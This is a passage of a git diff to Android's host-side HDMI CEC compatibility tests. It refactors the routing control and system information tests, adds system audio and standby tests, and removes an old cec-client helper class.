+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_RIGHT, true);
+        lookForLog("Long press KEYCODE_DPAD_RIGHT");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_SELECT, true);
+        lookForLog("Long press KEYCODE_DPAD_CENTER");
+        hdmiCecClient.sendUserControlPressAndRelease(HdmiCecConstants.CEC_CONTROL_BACK, true);
+        lookForLog("Long press KEYCODE_BACK");
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
index 1e5f05c..cb6b536 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java
@@ -17,38 +17,45 @@
 package android.hdmicec.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
+import java.util.concurrent.TimeUnit;
+
 /** HDMI CEC test to test routing control (Section 11.2.2) */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecRoutingControlTest implements IDeviceTest {
+public final class HdmiCecRoutingControlTest extends BaseHostJUnit4Test {
 
     private static final int PHYSICAL_ADDRESS = 0x1000;
 
-    private ITestDevice mDevice;
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+            new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
 
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Before public void testHdmiCecAvailability() throws Exception {
-        assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
+    /**
+     * Test 11.2.2-1
+     * Tests that the device broadcasts a <ACTIVE_SOURCE> in response to a <SET_STREAM_PATH>, when
+     * the TV has switched to a different input.
+     */
+    @Test
+    public void cect_11_2_2_1_SetStreamPathToDut() throws Exception {
+        final long hdmi2Address = 0x2000;
+        /* Switch to HDMI2. Setup assumes DUT is connected to HDMI1. */
+        hdmiCecClient.sendCecMessage(CecDevice.PLAYBACK_2, CecDevice.BROADCAST,
+                CecMessage.ACTIVE_SOURCE, hdmiCecClient.formatParams(hdmi2Address));
+        TimeUnit.SECONDS.sleep(3);
+        hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+                CecMessage.SET_STREAM_PATH,
+                hdmiCecClient.formatParams(HdmiCecConstants.PHYSICAL_ADDRESS));
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+        assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS,
+                hdmiCecClient.getParamsFromMessage(message));
     }
 
     /**
@@ -59,20 +66,11 @@
     @Test
     public void cect_11_2_2_2_RequestActiveSource() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            hdmiCecUtils.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
-                CecMessage.REQUEST_ACTIVE_SOURCE);
-            String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
-            assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message));
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        device.executeShellCommand("input keyevent KEYCODE_HOME");
+        hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+            CecMessage.REQUEST_ACTIVE_SOURCE);
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE);
+        assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message));
     }
 
     /**
@@ -83,19 +81,16 @@
     @Test
     public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception {
         ITestDevice device = getDevice();
-        assertNotNull("Device not set", device);
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
         try {
-            hdmiCecUtils.init();
             device.executeShellCommand("input keyevent KEYCODE_HOME");
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            hdmiCecUtils.checkExpectedOutput(CecMessage.INACTIVE_SOURCE);
+            String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+                    CecMessage.INACTIVE_SOURCE);
+            assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS,
+                    hdmiCecClient.getParamsFromMessage(message));
         } finally {
             /* Wake up the device */
             device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-            hdmiCecUtils.killCecProcess();
         }
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemAudioControlTest.java
new file mode 100644
index 0000000..c2b4678a
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemAudioControlTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to verify system audio control commands (Section 11.2.15) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemAudioControlTest extends BaseHostJUnit4Test {
+    private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this, "-t", "a");
+
+    /**
+     * Test 11.2.15-10
+     * Tests that the device sends a <GIVE_SYSTEM_AUDIO_STATUS> message when brought out of standby
+     */
+    @Test
+    public void cect_11_2_15_10_GiveSystemAudioModeStatus() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+                CecMessage.GIVE_SYSTEM_AUDIO_MODE_STATUS);
+    }
+
+    /**
+     * Test 11.2.15-11
+     * Tests that the device sends <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> messages when
+     * the volume up and down keys are pressed on the DUT. Test also verifies that the
+     * <USER_CONTROL_PRESSED> message has the right control param.
+     */
+    @Test
+    public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
+        String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+                CecMessage.USER_CONTROL_PRESSED);
+        assertEquals(HdmiCecConstants.CEC_CONTROL_VOLUME_UP,
+                hdmiCecClient.getParamsFromMessage(message));
+        hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM, CecMessage.USER_CONTROL_RELEASED);
+
+
+        device.executeShellCommand("input keyevent KEYCODE_VOLUME_DOWN");
+        message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+                CecMessage.USER_CONTROL_PRESSED);
+        assertEquals(HdmiCecConstants.CEC_CONTROL_VOLUME_DOWN,
+                hdmiCecClient.getParamsFromMessage(message));
+        hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM, CecMessage.USER_CONTROL_RELEASED);
+    }
+
+    /**
+     * Test 11.2.15-12
+     * Tests that the device sends <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> messages when
+     * the mute key is pressed on the DUT. Test also verifies that the <USER_CONTROL_PRESSED>
+     * message has the right control param.
+     */
+    @Test
+    public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_MUTE");
+        String message = hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM,
+                CecMessage.USER_CONTROL_PRESSED);
+        assertEquals(HdmiCecConstants.CEC_CONTROL_MUTE,
+                hdmiCecClient.getParamsFromMessage(message));
+        hdmiCecClient.checkExpectedOutput(CecDevice.AUDIO_SYSTEM, CecMessage.USER_CONTROL_RELEASED);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
index aff06c5..8bd7262 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java
@@ -17,39 +17,28 @@
 package android.hdmicec.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemInformationTest implements IDeviceTest {
+public final class HdmiCecSystemInformationTest extends BaseHostJUnit4Test {
 
     /** The version number 0x05 refers to CEC v1.4 */
     private static final int CEC_VERSION_NUMBER = 0x05;
 
-    private ITestDevice mDevice;
+    private static final String PROPERTY_LOCALE = "persist.sys.locale";
 
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Before public void testHdmiCecAvailability() throws Exception {
-        assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice()));
-    }
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
 
     /**
      * Test 11.2.6-1
@@ -58,19 +47,10 @@
     @Test
     public void cect_11_2_6_1_Ack() throws Exception {
         String command = CecClientMessage.POLL + " " + CecDevice.PLAYBACK_1;
-        String expectedOutput = "Playback 1 (" + CecDevice.PLAYBACK_1 + "): device " +
-            "status changed into 'present'";
-
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            hdmiCecUtils.sendConsoleMessage(command);
-            if (!hdmiCecUtils.checkConsoleOutput(expectedOutput)) {
-                throw new Exception("Could not find " + expectedOutput);
-            }
-        } finally {
-            hdmiCecUtils.killCecProcess();
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
         }
     }
 
@@ -81,20 +61,13 @@
      */
     @Test
     public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            hdmiCecUtils.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS);
-            String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
-            /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We
-             * have to verify the last 6 nibbles */
-            int receivedParams = hdmiCecUtils.getParamsFromMessage(message);
-            assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8);
-            assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF);
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        hdmiCecClient.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS);
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS);
+        /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We
+            * have to verify the last 6 nibbles */
+        int receivedParams = hdmiCecClient.getParamsFromMessage(message);
+        assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8);
+        assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF);
     }
 
     /**
@@ -103,18 +76,11 @@
      */
     @Test
     public void cect_11_2_6_6_GiveCecVersion() throws Exception {
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
+        hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION);
+        String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV,
+                                                            CecMessage.CEC_VERSION);
 
-        try {
-            hdmiCecUtils.init();
-            hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION);
-            String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
-                                                              CecMessage.CEC_VERSION);
-
-            assertEquals(CEC_VERSION_NUMBER, hdmiCecUtils.getParamsFromMessage(message));
-        } finally {
-            hdmiCecUtils.killCecProcess();
-        }
+        assertEquals(CEC_VERSION_NUMBER, hdmiCecClient.getParamsFromMessage(message));
     }
 
     /**
@@ -123,19 +89,88 @@
      */
     @Test
     public void cect_11_2_6_7_GetMenuLanguage() throws Exception {
-        HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0");
-
-        try {
-            hdmiCecUtils.init();
-            hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE);
-            String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV,
-                                                              CecMessage.FEATURE_ABORT);
-            int abortedOpcode = hdmiCecUtils.getParamsFromMessage(message,
+        hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GET_MENU_LANGUAGE);
+        String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.FEATURE_ABORT);
+        int abortedOpcode = hdmiCecClient.getParamsFromMessage(message,
                 CecMessage.GET_MENU_LANGUAGE.toString().length());
-            assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE);
+        assertEquals(CecMessage.getMessage(abortedOpcode), CecMessage.GET_MENU_LANGUAGE);
+    }
+
+    private String getSystemLocale() throws Exception {
+        ITestDevice device = getDevice();
+        return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
+    }
+
+    private void setSystemLocale(String locale) throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("setprop " + PROPERTY_LOCALE + " " + locale);
+    }
+
+    private boolean isLanguageEditable() throws Exception {
+        String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+        return val.trim().equals("true") ? true : false;
+    }
+
+    private static String extractLanguage(String locale) {
+        return locale.split("[^a-zA-Z]")[0];
+    }
+
+    /**
+     * Test 11.2.6-3
+     * Tests that the device handles a <SET_MENU_LANGUAGE> with a valid language correctly.
+     */
+    @Test
+    public void cect_11_2_6_3_SetValidMenuLanguage() throws Exception {
+        assumeTrue(isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+        final String newLanguage = originalLanguage.equals("spa") ? "en" : "es";
+        try {
+            hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+                    CecMessage.SET_MENU_LANGUAGE, hdmiCecClient.convertStringToHexParams(language));
+            assertEquals(newLanguage, extractLanguage(getSystemLocale()));
         } finally {
-            hdmiCecUtils.killCecProcess();
+            setSystemLocale(locale);
         }
     }
 
+    /**
+     * Test 11.2.6-4
+     * Tests that the device ignores a <SET_MENU_LANGUAGE> with an invalid language.
+     */
+    @Test
+    public void cect_11_2_6_4_SetInvalidMenuLanguage() throws Exception {
+        assumeTrue(isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = "spb";
+        try {
+            hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST,
+                    CecMessage.SET_MENU_LANGUAGE, hdmiCecClient.convertStringToHexParams(language));
+            assertEquals(originalLanguage, extractLanguage(getSystemLocale()));
+        } finally {
+            setSystemLocale(locale);
+        }
+    }
+
+    /**
+     * Test 11.2.6-5
+     * Tests that the device ignores a <SET_MENU_LANGUAGE> with a valid language that comes from a
+     * source device which is not TV.
+     */
+    @Test
+    public void cect_11_2_6_5_SetValidMenuLanguageFromInvalidSource() throws Exception {
+        assumeTrue(isLanguageEditable());
+        final String locale = getSystemLocale();
+        final String originalLanguage = extractLanguage(locale);
+        final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+        try {
+            hdmiCecClient.sendCecMessage(CecDevice.RECORDING_1, CecDevice.BROADCAST,
+                    CecMessage.SET_MENU_LANGUAGE, hdmiCecClient.convertStringToHexParams(language));
+            assertEquals(originalLanguage, extractLanguage(getSystemLocale()));
+        } finally {
+            setSystemLocale(locale);
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemStandbyTest.java
new file mode 100644
index 0000000..787ea24
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemStandbyTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.TestDeviceState;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to verify the device handles standby correctly (Section 11.2.3) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemStandbyTest extends BaseHostJUnit4Test {
+    private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+
+    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+            "hdmi_control_auto_device_off_enabled";
+
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+        String valToSet = turnOn ? "1" : "0";
+        device.executeShellCommand("settings put global "
+                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+        return val.equals("1") ? true : false;
+    }
+
+    private void checkDeviceAsleepAfterStandbySent(CecDevice source, CecDevice destination)
+            throws Exception {
+        ITestDevice device = getDevice();
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            TimeUnit.SECONDS.sleep(5);
+            hdmiCecClient.sendCecMessage(source, destination, CecMessage.STANDBY);
+            TimeUnit.SECONDS.sleep(5);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertEquals("mWakefulness=Asleep", wakeState.trim());
+        } finally {
+            /* Wake up the device */
+            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        }
+    }
+
+    /**
+     * Test 11.2.3-2
+     * Tests that the device goes into standby when a <STANDBY> message is broadcast.
+     */
+    @Test
+    public void cect_11_2_3_2_HandleBroadcastStandby() throws Exception {
+        getDevice().executeShellCommand("reboot");
+        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        try {
+            TimeUnit.SECONDS.sleep(5);
+            checkDeviceAsleepAfterStandbySent(CecDevice.TV, CecDevice.BROADCAST);
+            /* Wake up the TV */
+            hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+            checkDeviceAsleepAfterStandbySent(CecDevice.RECORDING_1, CecDevice.BROADCAST);
+            /* Wake up the TV */
+            hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+            checkDeviceAsleepAfterStandbySent(CecDevice.AUDIO_SYSTEM, CecDevice.BROADCAST);
+            /* Wake up the TV */
+            hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+            checkDeviceAsleepAfterStandbySent(CecDevice.PLAYBACK_2, CecDevice.BROADCAST);
+        } finally {
+            /* Wake up the TV */
+            hdmiCecClient.sendConsoleMessage("on " + CecDevice.TV);
+        }
+    }
+
+    /**
+     * Test 11.2.3-3
+     * Tests that the device goes into standby when a <STANDBY> message is sent to it.
+     */
+    @Test
+    public void cect_11_2_3_3_HandleAddressedStandby() throws Exception {
+        getDevice().executeShellCommand("reboot");
+        getDevice().waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        checkDeviceAsleepAfterStandbySent(CecDevice.TV, CecDevice.PLAYBACK_1);
+        checkDeviceAsleepAfterStandbySent(CecDevice.RECORDING_1, CecDevice.PLAYBACK_1);
+        checkDeviceAsleepAfterStandbySent(CecDevice.AUDIO_SYSTEM, CecDevice.PLAYBACK_1);
+        checkDeviceAsleepAfterStandbySent(CecDevice.PLAYBACK_2, CecDevice.PLAYBACK_1);
+        checkDeviceAsleepAfterStandbySent(CecDevice.BROADCAST, CecDevice.PLAYBACK_1);
+    }
+
+    /**
+     * Test 11.2.3-4
+     * Tests that the device does not broadcast a <STANDBY> when going into standby mode.
+     */
+    @Test
+    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
+        ITestDevice device = getDevice();
+        boolean wasOn = setHdmiControlDeviceAutoOff(false);
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            hdmiCecClient.checkOutputDoesNotContainMessage(CecDevice.BROADCAST, CecMessage.STANDBY);
+            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        } finally {
+            setHdmiControlDeviceAutoOff(wasOn);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java
deleted file mode 100644
index b2a37eb..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java
+++ /dev/null
@@ -1,328 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.RunUtil;
-
-import java.io.BufferedReader;
-import java.io.BufferedWriter;
-import java.io.InputStreamReader;
-import java.io.OutputStreamWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/** Class that helps communicate with the cec-client */
-public final class HdmiCecUtils {
-
-    private static final String CEC_CONSOLE_READY = "waiting for input";
-    private static final int MILLISECONDS_TO_READY = 5000;
-    private static final int DEFAULT_TIMEOUT = 20000;
-    private static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
-    private static final int HEXADECIMAL_RADIX = 16;
-
-    private Process mCecClient;
-    private BufferedWriter mOutputConsole;
-    private BufferedReader mInputConsole;
-    private boolean mCecClientInitialised = false;
-
-    private CecDevice targetDevice;
-    private String physicalAddress;
-
-    public HdmiCecUtils(CecDevice targetDevice, String physicalAddress) {
-        this.targetDevice = targetDevice;
-        this.physicalAddress = physicalAddress;
-    }
-
-    /**
-     * Checks if the HDMI CEC feature is running on the device. Call this function before running
-     * any HDMI CEC tests.
-     * This could throw a DeviceNotAvailableException.
-     */
-    public static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception {
-        return device.hasFeature(HDMI_CEC_FEATURE);
-    }
-
-    /** Initialise the client */
-    public void init() throws Exception {
-        boolean gotExpectedOut = false;
-        List<String> commands = new ArrayList();
-        int seconds = 0;
-
-        commands.add("cec-client");
-        commands.add("-p");
-        commands.add("2");
-        mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
-        mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
-
-        /* Wait for the client to become ready */
-        mCecClientInitialised = true;
-        if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
-            mOutputConsole = new BufferedWriter(
-                                new OutputStreamWriter(mCecClient.getOutputStream()));
-            return;
-        }
-
-        mCecClientInitialised = false;
-
-        throw (new Exception("Could not initialise cec-client process"));
-    }
-
-    private void checkCecClient() throws Exception {
-        if (!mCecClientInitialised) {
-            throw new Exception("cec-client not initialised!");
-        }
-        if (!mCecClient.isAlive()) {
-            throw new Exception("cec-client not running!");
-        }
-    }
-
-    /**
-     * Sends a CEC message with source marked as broadcast to the device passed in the constructor
-     * through the output console of the cec-communication channel.
-     */
-    public void sendCecMessage(CecMessage message) throws Exception {
-        sendCecMessage(CecDevice.BROADCAST, targetDevice, message, "");
-    }
-
-    /**
-     * Sends a CEC message from source device to the device passed in the constructor through the
-     * output console of the cec-communication channel.
-     */
-    public void sendCecMessage(CecDevice source, CecMessage message) throws Exception {
-        sendCecMessage(source, targetDevice, message, "");
-    }
-
-    /**
-     * Sends a CEC message from source device to a destination device through the output console of
-     * the cec-communication channel.
-     */
-    public void sendCecMessage(CecDevice source, CecDevice destination,
-        CecMessage message) throws Exception {
-        sendCecMessage(source, destination, message, "");
-    }
-
-    /**
-     * Sends a CEC message from source device to a destination device through the output console of
-     * the cec-communication channel with the appended params.
-     */
-    public void sendCecMessage(CecDevice source, CecDevice destination,
-        CecMessage message, String params) throws Exception {
-        checkCecClient();
-        mOutputConsole.write("tx " + source + destination + ":" + message + params);
-        mOutputConsole.flush();
-    }
-
-    /** Sends a message to the output console of the cec-client */
-    public void sendConsoleMessage(String message) throws Exception {
-        checkCecClient();
-        CLog.v("Sending message:: " + message);
-        mOutputConsole.write(message);
-        mOutputConsole.flush();
-    }
-
-    /** Check for any string on the input console of the cec-client, uses default timeout */
-    public boolean checkConsoleOutput(String expectedMessage) throws Exception {
-        return checkConsoleOutput(expectedMessage, DEFAULT_TIMEOUT);
-    }
-
-    /** Check for any string on the input console of the cec-client */
-    public boolean checkConsoleOutput(String expectedMessage,
-                                       long timeoutMillis) throws Exception {
-        checkCecClient();
-        long startTime = System.currentTimeMillis();
-        long endTime = startTime;
-
-        while ((endTime - startTime <= timeoutMillis)) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (line.contains(expectedMessage)) {
-                    CLog.v("Found " + expectedMessage + " in " + line);
-                    return true;
-                }
-            }
-            endTime = System.currentTimeMillis();
-        }
-        return false;
-    }
-
-    /**
-     * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
-     * returns the first line that contains that message within default timeout. If the CEC message
-     * is not found within the timeout, an exception is thrown.
-     */
-    public String checkExpectedOutput(CecMessage expectedMessage) throws Exception {
-        return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, DEFAULT_TIMEOUT);
-    }
-
-    /**
-     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
-     * communication channel and returns the first line that contains that message within
